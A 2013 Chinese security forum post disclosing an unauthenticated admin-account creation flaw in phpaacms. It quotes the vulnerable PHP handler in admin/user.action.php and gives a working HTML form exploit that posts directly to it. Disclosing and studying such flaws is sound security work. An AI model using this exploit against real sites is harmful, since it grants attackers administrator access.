phpaacms(不是phpcms)越权添加管理员

2013-11-10 20:03:39 44 7724



这个cms是我在站长网下的,是我第一次挖到的漏洞,但也是目前第一个,可能是好高骛远,刚有个个小的就去挖有防御机制的了,之前在别的论坛发过,但论坛人多帖子多,不回复,看过的没过100人就沉了,这次期中考试花了我差不多一个月时间,一分钟网都没上过,有种要被封的危机感,无奈又发出来了
代码:
//admin/user.action.php
<?php
header('Content-Type: text/html; charset=utf-8');
require_once ("global.php");
$act = $_POST ['act'];

if ($act=='add') {
        if(empty($_POST['username'])){
                exit("<script>alert('用户名不能为空!');window.history.go(-1)</script>");
        }
        if(empty($_POST['password'])){
                exit("<script>alert('密码不能为空!');window.history.go(-1)</script>");
        }
        if($_POST['password']!=$_POST['password2']){
                exit("<script>alert('两次密码输入不一致!');window.history.go(-1)</script>");
        }
        if(check_username($_SESSION['username'])){
                exit("<script>alert('用户 ".$_POST['username']." 已经存在!');window.history.go(-1)</script>");
        }
        $record = array(
                'username'                        =>$_POST ['username'],
                'password'                        =>md5($_POST ['password']),
                'userflag'                        =>$_POST ['userflag']
        );
        $id = $db->save('phpaadb_users',$record);
        header("Location: user.php");
}
?>
exp
<html>
<body>

<form action="/admin/user.action.php" method="post">
act: <input type="text" name="act" value="add" />
username: <input type="text" name="username" />
password: <input type="text" name="password" />
password2: <input type="text" name="password2" />
<input type="submit" />
</form>

</body>
</html>

关于作者

blackday8篇文章60篇回复

评论44次

要评论?请先  登录  或  注册